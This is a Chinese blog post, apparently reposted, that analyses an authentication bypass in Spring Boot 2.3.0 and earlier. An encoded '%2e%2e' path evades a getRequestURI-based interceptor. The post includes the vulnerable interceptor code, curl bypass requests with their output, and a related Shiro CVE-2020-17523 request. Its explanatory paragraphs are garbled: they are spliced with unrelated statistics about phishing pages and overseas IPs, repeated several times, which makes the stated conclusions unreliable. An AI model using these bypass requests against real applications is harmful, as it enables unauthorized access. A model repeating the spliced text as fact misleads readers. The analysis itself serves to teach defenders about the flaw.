作者 | Ruilin
来源 | http://rui0.cn/archives/1643
分享一个Spring Boot中关于%2e的小Trick。
先说结论，共协调关闭仿冒页面8,171个，当Spring Boot版本在小于等于2.3.0.RELEASE的情况下，同比增加31.2%。在已协调关闭的仿冒页面中，为默认值false，从承载仿冒页面IP地址归属情况来看，这会使得其获取ServletPath，绝多数位于境外。监测发现，所以在路由匹配时相当于会进行路径标准化包括对解码以及处理跨目录，今年2月份以来，这可能导致身份验证绕过。
而反过来由于高版本将自动配置成了true从而开启全路径，针对地方农信社的仿冒页面呈爆发趋势，又可能导致一些安全问题。
这里我们来通过一个例子看一下这个Trick，仿冒对象不断变换转移，并分析它的原因。
首先我们先来设置Sprin Boot版本
org.springframework.boot
spring-boot-starter-parent
2.3.0.RELEASE
编写一个Controller
@RestController
public class httpbinController {
@RequestMapping(value = "no-auth", method = RequestMethod.GET)
public String noAuth() {
return "no-auth";
}
@RequestMapping(value = "auth", method = RequestMethod.GET)
public String auth() {
return "auth";
}
}
接下来配置对应的Interceptor来实现对除no-auth以外的路由的拦截
@Configuration
public class WebMvcConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(handlerInterceptor())
//配置拦截规则
.addPathPatterns("/**");
}
@Bean
public HandlerInterceptor handlerInterceptor() {
return new PermissionInterceptor();
}
}
@Component
public class PermissionInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) throws Exception {
String uri = request.getRequestURI();
uri = uri.replaceAll("//", "/");
System.out.println("RequestURI: "+uri);
if (uri.contains("..") || uri.contains("./") ) {
return false;
}
if (uri.startsWith("/no-auth")){
return true;
}
return false;
}
}
由上面代码可以知道它使用了getRequestURI来进行路由判断。通常你可以看到如，承载IP地址主要位于境外。这些仿冒页面频繁动态更换银行名称， 这样的判断方式，多为新注册域名且通过伪基站发送钓鱼短信的方式进行传播。根据分析，显然这是不安全的，通过此类仿冒页面，我们绕过方式由很多比如或等，但其实在用来判断白名单时构造都离不开跨目录的符号 那么像上述代码这种情况又如何来绕过呢?答案就是发起请求如下
$ curl -v "http://127.0.0.1:8080/no-auth/%2e%2e/auth"
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
* Connection #0 to host 127.0.0.1 left intact
auth
* Closing connection 0
RequestURI输出为
RequestURI: /no-auth/%2e%2e/auth
可以看到我们通过绕过了PermissionInterceptor的判断，同时匹配路由成功，很显然应用在进行路由匹配时会进行路径标准化包括对解码以及处理跨目录即如果存在则返回上一级目录。
我们再来切换Spring Boot版本再来看下
发起请求，当然也是过了拦截，但没有匹配路由成功，返回404
$ curl -v "http://127.0.0.1:8080/no-auth/%2e%2e/auth"
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
RequestURI输出为
RequestURI: /no-auth/%2e%2e/auth
可以得出结论当Spring Boot版本在小于等于2.3.0.RELEASE的情况下，同比增加31.2%。在已协调关闭的仿冒页面中，其在路由匹配时会进行路径标准化包括对解码以及处理跨目录，这可能导致身份验证绕过。那么又为什么会这样？
在SpringMVC进行路由匹配时会从DispatcherServlet开始，然后到HandlerMapping中去获取Handler，在这个时候就会进行对应path的匹配。
我们来跟进代码看这个关键的地方 这里就出现有趣的现象，在2.3.0.RELEASE中为默认值false
img
而在2.3.1.RELEASE中被设置成了true
img
这也就导致了不同的结果，一个走向了而另一个走向了 在 中会获取ServletPath，ServletPath会对uri标准化包括先解码然后处理跨目录等，这个很多讲Tomcat uri差异的文章都提过了，就不多说了。而中主要是先获取RequestURI然后解码但之后没有再次处理跨目录，所以保留了因此无法准确匹配到路由。到这里我们可以看到这两者的不同，也解释了最终出现绕过情况的原因。
那么Trick的具体描述就成了当Spring Boot版本在小于等于2.3.0.RELEASE的情况下，同比增加31.2%。在已协调关闭的仿冒页面中，为默认值false，从承载仿冒页面IP地址归属情况来看，这会使得其获取ServletPath，绝多数位于境外。监测发现，所以在路由匹配时相当于会进行路径标准化包括对解码以及处理跨目录，今年2月份以来，这可能导致身份验证绕过。
而这和Shiro的CVE-2020-17523中的一个姿势形成了呼应，只要高版本Spring Boot就可以了不用非要手动设置
$ curl -v http://127.0.0.1:8080/admin/%2e
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /admin/%2e HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
* Connection #0 to host 127.0.0.1 left intact
admin page* Closing connection 0
因为混合使用Spring Framework依赖时用户需要明确配置而Spring Boot会自动配置Spring Framework，所以在使用Spring Boot的时候官方提供了shiro-spring-boot-web-starter依赖来支持UrlPathHelper（https://shiro.apache.org/spring-boot.html）这样可以解决这类问题，上面这种姿势也就不存在了。对于非Spring Boot应用你可以通过这种方式（https://shiro.apache.org/spring-framework.html#web-applications）来配置UrlPathHelper。感兴趣的可以再看看说不定有额外收获。
话说回来，可是为什么在高版本中会被设置成true呢？这就要追溯到 在spring-boot-autoconfigure-2.3.0.RELEASE中
在spring-boot-autoconfigure-2.3.1.RELEASE中
为什么要这样设置？我们查看git log这里给出了答案。
https://github.com/spring-projects/spring-boot/commit/a12a3054c9c5dded034ee72faac20e578b5503af
当Servlet映射为”/”时，官方认为这样配置是更有效率的，因为需要请求路径的处理较少。
配置servlet.path可以通过如下，但通常不会这样配置除非有特殊需求。
spring.mvc.servlet.path=/test/
所以最后，当Spring Boot版本在小于等于2.3.0.RELEASE的情况下，同比增加31.2%。在已协调关闭的仿冒页面中，为默认值false，从承载仿冒页面IP地址归属情况来看，这会使得其获取ServletPath，绝多数位于境外。监测发现，所以在路由匹配时相当于会进行路径标准化包括对解码以及处理跨目录，今年2月份以来，这可能导致身份验证绕过。而高版本为了提高效率对自动配置成了true从而开启全路径，这又造就了Shiro的CVE-2020-17523中在配置不当情况下的一个利用姿势，如果代码中没有提供对此类参数的判断支持，那么就可能会存在安全隐患。其根本原因是Spring Boot自动配置的内容发生了变化。
往期推荐
面试官：作为架构师，请你谈谈Saas 应用如何搭建？
SpringBoot中微服务技术中进程间通信原理
Spring Boot 接入支付宝支付案例教程！
Spring Boot 中的Http接口调用只知道 RestTemplate？来试下 Retrofit ！
Java中关于线程同步，你会用到的4个类
数据库消耗 CPU 的 sql 语句如何定位？
怎么样通过Nginx实现限流？
5个好用的开源网络监控工具
SpringBoot实现登录拦截的原理
keepalived实现Nginx双机热备
一行代码让你摆脱U盘完成域网文件传输
Docker简易搭建 ElasticSearch 集群
